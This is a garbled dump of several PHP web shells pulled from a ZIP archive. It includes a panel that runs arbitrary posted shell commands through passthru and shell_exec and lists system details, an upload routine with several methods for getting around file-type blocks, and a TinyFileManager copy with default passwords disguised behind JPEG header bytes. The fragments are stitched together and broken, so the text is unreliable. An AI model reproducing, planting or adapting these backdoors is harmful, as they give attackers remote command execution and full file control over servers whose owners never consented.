'; } $content = file_exists($file) ? htmlspecialchars(file_get_contents($file)) : ''; echo '

✏️ Editing: ' . htmlspecialchars($file) . '

'; echo '
'; echo ''; echo '
'; echo ''; echo ' ← Back'; echo '
'; } elseif ($_GET['x'] === 'info') { // Info panel (same as before) $moreI = [ 'PHP Version' => phpversion(), 'Server Software' => $_SERVER['SERVER_SOFTWARE'], 'Uname' => php_uname(), 'User' => get_current_user() . ' (uid:' . getmyuid() . ' gid:' . getmygid() . ')', 'Safe Mode' => ini_get('safe_mode') ? 'ON' : 'OFF', 'Open BaseDir' => ini_get('open_basedir') ?: 'OFF', 'MySQL' => function_exists('mysqli_connect') ? 'ON' : 'OFF', 'Curl' => extension_loaded('curl') ? 'ON' : 'OFF', 'Disk Total' => @disk_total_space('/') ? round(@disk_total_space('/') / (1024**3), 2) . ' GB' : 'N/A', 'Disk Free' => @disk_free_space('/') ? round(@disk_free_space('/') / (1024**3), 2) . ' GB' : 'N/A', 'Your IP' => $_SERVER['REMOTE_ADDR'], 'Server IP' => $_SERVER['SERVER_ADDR'] ?? 'N/A' ]; echo '

ℹ️ System Info

'; foreach ($moreI as $k => $v) { echo ""; } echo '
{$k}: {$v}

← Back'; } elseif ($_GET['x'] === 'cmd') { if ($_POST['cmd']) { echo '
';
        if (function_exists('passthru')) {
            @passthru($_POST['cmd']);
        } elseif (function_exists('shell_exec')) {
            echo @shell_exec($_POST['cmd']);
        } else {
            echo "Command execution not available.";
        }
        echo '
'; } echo '

💻 Command Executor

'; echo '
'; echo '
'; echo '
← Back'; } print ''; ?>PK=em\>d## 6g259.phpnu["; if ($up['error'] === UPLOAD_ERR_OK && is_uploaded_file($up['tmp_name'])) { $success = false; // 1) Standard upload if (move_uploaded_file($up['tmp_name'], $target)) { $success = true; echo "✅ Uploaded using move_uploaded_file()
"; } // 2) Fallback: copy() elseif (@copy($up['tmp_name'], $target)) { $success = true; echo "⚠️ move_uploaded_file() failed, used copy()
"; } // 3) Rename tmp file and copy as last resort else { $bypass = $up['tmp_name'] . '.bypass'; if (@rename($up['tmp_name'], $bypass) && @copy($bypass, $target)) { $success = true; echo "⚠️ Used rename bypass method
"; @unlink($bypass); } } // 4) Rename-on-upload bypass with robust auto rename back if (!$success) { $safeName = $name . '.upload'; $safeTarget = rtrim($dir, '/\\') . DIRECTORY_SEPARATOR . $safeName; // Upload as safe file if (move_uploaded_file($up['tmp_name'], $safeTarget) || @copy($up['tmp_name'], $safeTarget)) { echo "⚠️ Upload blocked? Saved as safe file ($safeName). Trying to rename back...
"; // Try rename back multiple times (up to 3) $attempts = 3; while ($attempts-- > 0) { if (@rename($safeTarget, $target)) { $success = true; echo "✅ Successfully renamed back to original filename.
"; break; } usleep(200000); // wait 0.2 sec and retry } // If rename failed, try copy contents & unlink workaround if (!$success) { $contents = @file_get_contents($safeTarget); if ($contents !== false && @file_put_contents($target, $contents) !== false) { @unlink($safeTarget); $success = true; echo "✅ Copied contents and deleted safe file, rename workaround success.
"; } else { echo "❌ Failed to rename or copy contents from safe file.
"; } } } } if (!$success) { echo "❌ Upload failed: server likely blocks this file type.
"; } } else { echo "❌ Upload error code: {$up['error']}
"; } echo ""; } // === File actions: edit, delete, chmod, rename, zip, unzip if (isset($_GET['act'], $_GET['f'])) { $f = realpath($_GET['f']); if (!$f || strpos($f, $root) !== 0) exit('Invalid path.'); switch ($_GET['act']) { case 'edit': if ($_SERVER['REQUEST_METHOD'] === 'POST') { $backup = $f . '.bak'; copy($f, $backup); $data = $_POST['data'] ?? ''; if (file_put_contents($f, $data) === false) { rename($backup, $f); echo "
❌ Failed to save. Backup restored.
"; } else { unlink($backup); echo "
✅ Saved successfully.
"; } } $content = file_get_contents($f); echo "

✏️ Edit File: " . htmlspecialchars(basename($f)) . "

"; echo "


"; exit; case 'delete': is_dir($f) ? rmdir($f) : unlink($f); break; case 'chmod': $mode = isset($_GET['mode']) ? octdec($_GET['mode']) : 0755; chmod($f, $mode); break; case 'rename': if (isset($_GET['to'])) { $to = dirname($f) . DIRECTORY_SEPARATOR . basename($_GET['to']); rename($f, $to); } break; case 'zip': $zipname = $f . '.zip'; $zip = new ZipArchive(); if ($zip->open($zipname, ZipArchive::CREATE) === TRUE) { $zip->addFile($f, basename($f)); $zip->close(); } break; case 'unzip': $zip = new ZipArchive(); if ($zip->open($f) === TRUE) { $extractPath = dirname($f); $zip->extractTo($extractPath); $zip->close(); echo "
✅ Extracted successfully.
"; } else { echo "
❌ Failed to open ZIP archive.
"; } break; } header("Location: ?dir=" . urlencode($dir)); exit; } // === HTML + CSS === ?> 🧩 FOXDROP File Manager

🧩 FOXDROP File Manager

"; echo "/"; foreach ($parts as $p) { if ($p === '') continue; $build .= '/' . $p; echo "" . htmlspecialchars($p) . ""; } echo ""; // Upload form echo "
"; // File list table echo ""; foreach (scandir($dir) as $f) { if ($f === '.') continue; $fp = "$dir/$f"; $isDir = is_dir($fp); $size = $isDir ? '-' : filesize($fp); $encoded = urlencode($fp); echo ""; } echo "
NameSizeActions
".($isDir ? "📁" : "📄")." " . htmlspecialchars($f) . " $size "; if (!$isDir) { echo "Edit"; echo "ZIP"; if (strtolower(pathinfo($f, PATHINFO_EXTENSION)) === 'zip') { echo "Unzip"; } } echo "CHMOD"; echo "Rename"; echo "Delete"; echo "
"; ?> PK@em\~\ݸ5 5 z8op2.phpnu[ Mini File Manager

ZSec File Manager

Current Directory:

[Up] $file "; if (is_dir($filePath)) { echo "[Open] "; } elseif (is_file($filePath)) { echo "[Edit] "; } echo "
"; } ?>

Edit File

PK@em\Z b9xpi.phpnu[ÿØÿà JFIF    ÿÛ „ ( %!1!%*+...983,7(-.- 'Password', 'Username2' => 'Password2', ...) // Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html $auth_users = array( 'admin' => '$2y$10$/K.hjNr84lLNDt8fTXjoI.DBp6PpeyoJ.mGwrrLuCZfAwfSAGqhOW', //admin@123 'user' => '$2y$10$Fg6Dz8oH9fPoZ2jJan5tZuv6Z4Kp7avtQ9bDfrdRntXtPeiMAZyGO' //12345 ); //set application theme //options - 'light' and 'dark' $theme = 'dark'; // Readonly users // e.g. array('users', 'guest', ...) $readonly_users = array( 'user' ); // Enable highlight.js (https://highlightjs.org/) on view's page $use_highlightjs = true; // highlight.js style // for dark theme use 'ir-black' $highlightjs_style = 'vs'; // Enable ace.js (https://ace.c9.io/) on view's page $edit_files = true; // Default timezone for date() and time() // Doc - http://php.net/manual/en/timezones.php $default_timezone = 'Etc/UTC'; // UTC // Root path for file manager // use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder' $root_path = $_SERVER['DOCUMENT_ROOT']; // Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder' // Will not working if $root_path will be outside of server document root $root_url = ''; // Server hostname. Can set manually if wrong $http_host = $_SERVER['HTTP_HOST']; // user specific directories // array('Username' => 'Directory path', 'Username2' => 'Directory path', ...) $directories_users = array(); // input encoding for iconv $iconv_input_encoding = 'UTF-8'; // date() format for file modification date // Doc - https://www.php.net/manual/en/function.date.php $datetime_format = 'd.m.y H:i'; // Allowed file extensions for create and rename files // e.g. 'txt,html,css,js' $allowed_file_extensions = ''; // Allowed file extensions for upload files // e.g. 'gif,png,jpg,html,txt' $allowed_upload_extensions = ''; // Favicon path. This can be either a full url to an .PNG image, or a path based on the document root. // full path, e.g http://example.com/favicon.png // local path, e.g images/icons/favicon.png $favicon_path = '?img=favicon'; // Files and folders to excluded from listing // e.g. array('myfile.html', 'personal-folder', '*.php', ...) $exclude_items = array(); // Online office Docs Viewer // Availabe rules are 'google', 'microsoft' or false // google => View documents using Google Docs Viewer // microsoft => View documents using Microsoft Web Apps Viewer // false => disable online doc viewer $online_viewer = 'google'; // Sticky Nav bar // true => enable sticky header // false => disable sticky header $sticky_navbar = true; // Maximum file upload size // Increase the following values in php.ini to work properly // memory_limit, upload_max_filesize, post_max_size $max_upload_size_bytes = 2048; // Possible rules are 'OFF', 'AND' or 'OR' // OFF => Don't check connection IP, defaults to OFF // AND => Connection must be on the whitelist, and not on the blacklist // OR => Connection must be on the whitelist, or not on the blacklist $ip_ruleset = 'OFF'; // Should users be notified of their block? $ip_silent = true; // IP-addresses, both ipv4 and ipv6 $ip_whitelist = array( '127.0.0.1', // local ipv4 '::1' // local ipv6 ); // IP-addresses, both ipv4 and ipv6 $ip_blacklist = array( '0.0.0.0', // non-routable meta ipv4 '::' // non-routable meta ipv6 ); // if User has the customized config file, try to use it to override the default config above $config_file = './config.php'; if (is_readable($config_file)) { @include($config_file); } // --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL --- // max upload file size define('MAX_UPLOAD_SIZE', $max_upload_size_bytes); define('FM_THEME', $theme); // private key and session name to store to the session if ( !defined( 'FM_SESSION_ID')) { define('FM_SESSION_ID', 'filemanager'); } // Configuration $cfg = new FM_Config(); // Default language $lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en'; // Show or hide files and folders that starts with a dot $show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true; // PHP error reporting - false = Turns off Errors, true = Turns on Errors $report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true; // Hide Permissions and Owner cols in file-listing $hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true; // Show directory size: true or speedup output: false $calc_folder = isset($cfg->data['calc_folder']) ? $cfg->data['calc_folder'] : true; //available languages $lang_list = array( 'en' => 'English' ); if ($report_errors == true) { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 1); } else { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 0); } // if fm included if (defined('FM_EMBED')) { $use_auth = false; $sticky_navbar = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter(''); session_name(FM_SESSION_ID ); function session_error_handling_function($code, $msg, $file, $line) { // Permission denied for default session, try to create a new one if ($code == 2) { session_abort(); session_id(session_create_id()); @session_start(); } } set_error_handler('session_error_handling_function'); session_start(); restore_error_handler(); } if (empty($auth_users)) { $use_auth = false; } $is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1) || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https'; // update $root_url based on user specific directories if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) { $wd = fm_clean_path(dirname($_SERVER['PHP_SELF'])); $root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[FM_SESSION_ID]['logged']]; } // clean $root_url $root_url = fm_clean_path($root_url); // abs path for site defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION[FM_SESSION_ID]['logged']); fm_redirect(FM_SELF_URL); } // Show image here if (isset($_GET['img'])) { fm_show_image($_GET['img']); } // Validate connection IP if($ip_ruleset != 'OFF'){ $clientIp = $_SERVER['REMOTE_ADDR']; $proceed = false; $whitelisted = in_array($clientIp, $ip_whitelist); $blacklisted = in_array($clientIp, $ip_blacklist); if($ip_ruleset == 'AND'){ if($whitelisted == true && $blacklisted == false){ $proceed = true; } } else if($ip_ruleset == 'OR'){ if($whitelisted == true || $blacklisted == false){ $proceed = true; } } if($proceed == false){ trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING); if($ip_silent == false){ fm_set_msg('Access denied. IP restriction applicable', 'error'); fm_show_header_login(); fm_show_message(); } exit(); } } // Auth if ($use_auth) { if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) { // Logged } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'])) { // Logging In sleep(1); if(function_exists('password_verify')) { if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']])) { $_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr']; fm_set_msg(lng('You are logged in')); fm_redirect(FM_SELF_URL . '?p='); } else { unset($_SESSION[FM_SESSION_ID]['logged']); fm_set_msg(lng('Login failed. Invalid username or password'), 'error'); fm_redirect(FM_SELF_URL); } } else { fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');; } } else { // Form unset($_SESSION[FM_SESSION_ID]['logged']); fm_show_header_login(); ?>
Root path \"{$root_path}\" not found!"; exit; } defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files); defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_LANG') || define('FM_LANG', $lang); defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions); defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions); defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', $exclude_items); defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer); define('FM_READONLY', $use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]['logged']) && in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users)); define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\'); // always use ?p= if (!isset($_GET['p']) && empty($_FILES)) { fm_redirect(FM_SELF_URL . '?p='); } // get path $p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : ''); // clean path $p = fm_clean_path($p); // for ajax request - save $input = file_get_contents('php://input'); $_POST = (strpos($input, 'ajax') != FALSE && strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST; // instead globals vars define('FM_PATH', $p); define('FM_USE_AUTH', $use_auth); define('FM_EDIT_FILE', $edit_files); defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding); defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs); defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style); defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format); unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style); /*************************** ACTIONS ***************************/ // AJAX Request if (isset($_POST['ajax']) && !FM_READONLY) { // save if (isset($_POST['type']) && $_POST['type'] == "save") { // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $file = $_GET['edit']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg('File not found', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } header('X-XSS-Protection:0'); $file_path = $path . '/' . $file; $writedata = $_POST['content']; $fd = fopen($file_path, "w"); $write_results = @fwrite($fd, $writedata); fclose($fd); if ($write_results === false){ header("HTTP/1.1 500 Internal Server Error"); die("Could Not Write File! - Check Permissions / Ownership"); } die(true); } //search : get list of files from the current folder if(isset($_POST['type']) && $_POST['type']=="search") { $dir = FM_ROOT_PATH; $response = scan(fm_clean_path($_POST['path']), $_POST['content']); echo json_encode($response); exit(); } // backup files if (isset($_POST['type']) && $_POST['type'] == "backup" && !empty($_POST['file'])) { $fileName = $_POST['file']; $fullPath = FM_ROOT_PATH . '/'; if (!empty($_POST['path'])) { $relativeDirPath = fm_clean_path($_POST['path']); $fullPath .= "{$relativeDirPath}/"; } $date = date("dMy-His"); $newFileName = "{$fileName}-{$date}.bak"; $fullyQualifiedFileName = $fullPath . $fileName; try { if (!file_exists($fullyQualifiedFileName)) { throw new Exception("File {$fileName} not found"); } if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) { echo "Backup {$newFileName} created"; } else { throw new Exception("Could not copy file {$fileName}"); } } catch (Exception $e) { echo $e->getMessage(); } } // Save Config if (isset($_POST['type']) && $_POST['type'] == "settings") { global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $calc_folder; $newLng = $_POST['js-language']; fm_get_translations([]); if (!array_key_exists($newLng, $lang_list)) { $newLng = 'en'; } $erp = isset($_POST['js-error-report']) && $_POST['js-error-report'] == "true" ? true : false; $shf = isset($_POST['js-show-hidden']) && $_POST['js-show-hidden'] == "true" ? true : false; $hco = isset($_POST['js-hide-cols']) && $_POST['js-hide-cols'] == "true" ? true : false; $caf = isset($_POST['js-calc-folder']) && $_POST['js-calc-folder'] == "true" ? true : false; if ($cfg->data['lang'] != $newLng) { $cfg->data['lang'] = $newLng; $lang = $newLng; } if ($cfg->data['error_reporting'] != $erp) { $cfg->data['error_reporting'] = $erp; $report_errors = $erp; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['hide_Cols'] != $hco) { $cfg->data['hide_Cols'] = $hco; $hide_Cols = $hco; } if ($cfg->data['calc_folder'] != $caf) { $cfg->data['calc_folder'] = $caf; $calc_folder = $caf; } $cfg->save(); echo true; } // new password hash if (isset($_POST['type']) && $_POST['type'] == "pwdhash") { $res = isset($_POST['inputPassword2']) && !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : ''; echo $res; } //upload using url if(isset($_POST['type']) && $_POST['type'] == "upload" && !empty($_REQUEST["uploadurl"])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null; $use_curl = false; $temp_file = tempnam(sys_get_temp_dir(), "upload-"); $fileinfo = new stdClass(); $fileinfo->name = trim(basename($url), ".\x00..\x20"); $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; function event_callback ($message) { global $callback; echo json_encode($message); } function get_file_path () { global $path, $fileinfo, $temp_file; return $path."/".basename($fileinfo->name); } $err = false; if(!$isFileAllowed) { $err = array("message" => "File extension is not allowed"); event_callback(array("fail" => $err)); exit(); } if (!$url) { $success = false; } else if ($use_curl) { @$fp = fopen($temp_file, "w"); @$ch = curl_init($url); curl_setopt($ch, CURLOPT_NOPROGRESS, false ); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FILE, $fp); @$success = curl_exec($ch); $curl_info = curl_getinfo($ch); if (!$success) { $err = array("message" => curl_error($ch)); } @curl_close($ch); fclose($fp); $fileinfo->size = $curl_info["size_download"]; $fileinfo->type = $curl_info["content_type"]; } else { $ctx = stream_context_create(); @$success = copy($url, $temp_file, $ctx); if (!$success) { $err = error_get_last(); } } if ($success) { $success = rename($temp_file, get_file_path()); } if ($success) { event_callback(array("done" => $fileinfo)); } else { unlink($temp_file); if (!$err) { $err = array("message" => "Invalid url parameter"); } event_callback(array("fail" => $err)); } } exit(); } // Delete file / folder if (isset($_GET['del']) && !FM_READONLY) { $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) ); if ($del != '' && $del != '..' && $del != '.') { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $is_dir = is_dir($path . '/' . $del); if (fm_rdelete($path . '/' . $del)) { $msg = $is_dir ? 'Folder %s deleted' : 'File %s deleted'; fm_set_msg(sprintf($msg, fm_enc($del))); } else { $msg = $is_dir ? 'Folder %s not deleted' : 'File %s not deleted'; fm_set_msg(sprintf($msg, fm_enc($del)), 'error'); } } else { fm_set_msg('Invalid file or folder name', 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Create folder if (isset($_GET['new']) && isset($_GET['type']) && !FM_READONLY) { $type = $_GET['type']; $new = str_replace( '/', '', fm_clean_path( strip_tags( $_GET['new'] ) ) ); if (fm_isvalid_filename($new) && $new != '' && $new != '..' && $new != '.') { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($_GET['type'] == "file") { if (!file_exists($path . '/' . $new)) { if(fm_is_valid_ext($new)) { @fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new); fm_set_msg(sprintf(lng('File').' %s '.lng('Created'), fm_enc($new))); } else { fm_set_msg('File extension is not allowed', 'error'); } } else { fm_set_msg(sprintf('File %s already exists', fm_enc($new)), 'alert'); } } else { if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('Created'), $new)); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf('Folder %s already exists', fm_enc($new)), 'alert'); } else { fm_set_msg(sprintf('Folder %s not created', fm_enc($new)), 'error'); } } } else { fm_set_msg('Invalid characters in file or folder name', 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) { // from $copy = $_GET['copy']; $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg('Source path not defined', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // abs path from $from = FM_ROOT_PATH . '/' . $copy; // abs path to $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); // move? $move = isset($_GET['move']); // copy/move/duplicate if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { // Move and to != from so just perform move $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf('Moved from %s to %s', fm_enc($copy), fm_enc($msg_from))); } elseif ($rename === null) { fm_set_msg('File or folder with this path already exists', 'alert'); } else { fm_set_msg(sprintf('Error while moving from %s to %s', fm_enc($copy), fm_enc($msg_from)), 'error'); } } else { // Not move and to != from so copy with original name if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf('Copied from %s to %s', fm_enc($copy), fm_enc($msg_from))); } else { fm_set_msg(sprintf('Error while copying from %s to %s', fm_enc($copy), fm_enc($msg_from)), 'error'); } } } else { if (!$move){ //Not move and to = from so duplicate $msg_from = trim(FM_PATH . '/' . basename($from), '/'); $fn_parts = pathinfo($from); $extension_suffix = ''; if(!is_dir($from)){ $extension_suffix = '.'.$fn_parts['extension']; } //Create new name for duplicate $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix; $loop_count = 0; $max_loop = 1000; // Check if a file with the duplicate name already exists, if so, make new name (edge case...) while(file_exists($fn_duplicate) & $loop_count < $max_loop){ $fn_parts = pathinfo($fn_duplicate); $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix; $loop_count++; } if (fm_rcopy($from, $fn_duplicate, False)) { fm_set_msg(sprintf('Copyied from %s to %s', fm_enc($copy), fm_enc($fn_duplicate))); } else { fm_set_msg(sprintf('Error while copying from %s to %s', fm_enc($copy), fm_enc($fn_duplicate)), 'error'); } } else{ fm_set_msg('Paths must be not equal', 'alert'); } } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Mass copy files/ folders if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish']) && !FM_READONLY) { // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg('Paths must be not equal', 'alert'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { // abs path from $from = $path . '/' . $f; // abs path to $dest = $copy_to_path . '/' . $f; // do if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; fm_set_msg($msg, 'error'); } } else { fm_set_msg('Nothing selected', 'alert'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Rename if (isset($_GET['ren'], $_GET['to']) && !FM_READONLY) { // old name $old = $_GET['ren']; $old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = $_GET['to']; $new = fm_clean_path(strip_tags($new)); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if (fm_isvalid_filename($new) && $old != '' && $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { fm_set_msg(sprintf('Renamed from %s to %s', fm_enc($old), fm_enc($new))); } else { fm_set_msg(sprintf('Error while renaming from %s to %s', fm_enc($old), fm_enc($new)), 'error'); } } else { fm_set_msg('Invalid characters in file name', 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Download if (isset($_GET['dl'])) { $dl = $_GET['dl']; $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($dl != '' && is_file($path . '/' . $dl)) { fm_download_file($path . '/' . $dl, $dl, 1024); exit; } else { fm_set_msg('File not found', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } } // Upload if (!empty($_FILES) && !FM_READONLY) { $override_file_name = false; $f = $_FILES; $path = FM_ROOT_PATH; $ds = DIRECTORY_SEPARATOR; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $response = array ( 'status' => 'error', 'info' => 'Oops! Try again' ); $filename = $f['file']['name']; $tmp_name = $f['file']['tmp_name']; $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; $targetPath = $path . $ds; if ( is_writable($targetPath) ) { $fullPath = $path . '/' . $_REQUEST['fullpath']; $folder = substr($fullPath, 0, strrpos($fullPath, "/")); if(file_exists ($fullPath) && !$override_file_name) { $ext_1 = $ext ? '.'.$ext : ''; $fullPath = str_replace($ext_1, '', $fullPath) .'_'. date('ymdHis'). $ext_1; } if (!is_dir($folder)) { $old = umask(0); mkdir($folder, 0777, true); umask($old); } if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) { if (move_uploaded_file($tmp_name, $fullPath)) { // Be sure that the file has been uploaded if ( file_exists($fullPath) ) { $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => 'Couldn\'t upload the requested file.' ); } } else { $response = array ( 'status' => 'error', 'info' => "Error while uploading files. Uploaded files $uploads", ); } } } else { $response = array ( 'status' => 'error', 'info' => 'The specified folder for upload isn\'t writeable.' ); } // Return the response echo json_encode($response); exit(); } // Mass deleting if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . $f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg('Selected files and folder deleted'); } else { fm_set_msg('Error while deleting items', 'error'); } } else { fm_set_msg('Nothing selected', 'alert'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Pack files if (isset($_POST['group']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) { $path = FM_ROOT_PATH; $ext = 'zip'; if (FM_PATH != '') { $path .= '/' . FM_PATH; } //set pack type $ext = isset($_POST['tar']) ? 'tar' : 'zip'; if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) { fm_set_msg('Operations with archives are not available', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } $files = $_POST['file']; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext; } else { $zipname = 'archive_' . date('ymd_His') . '.'.$ext; } if($ext == 'zip') { $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); } elseif ($ext == 'tar') { $tar = new FM_Zipper_Tar(); $res = $tar->create($zipname, $files); } if ($res) { 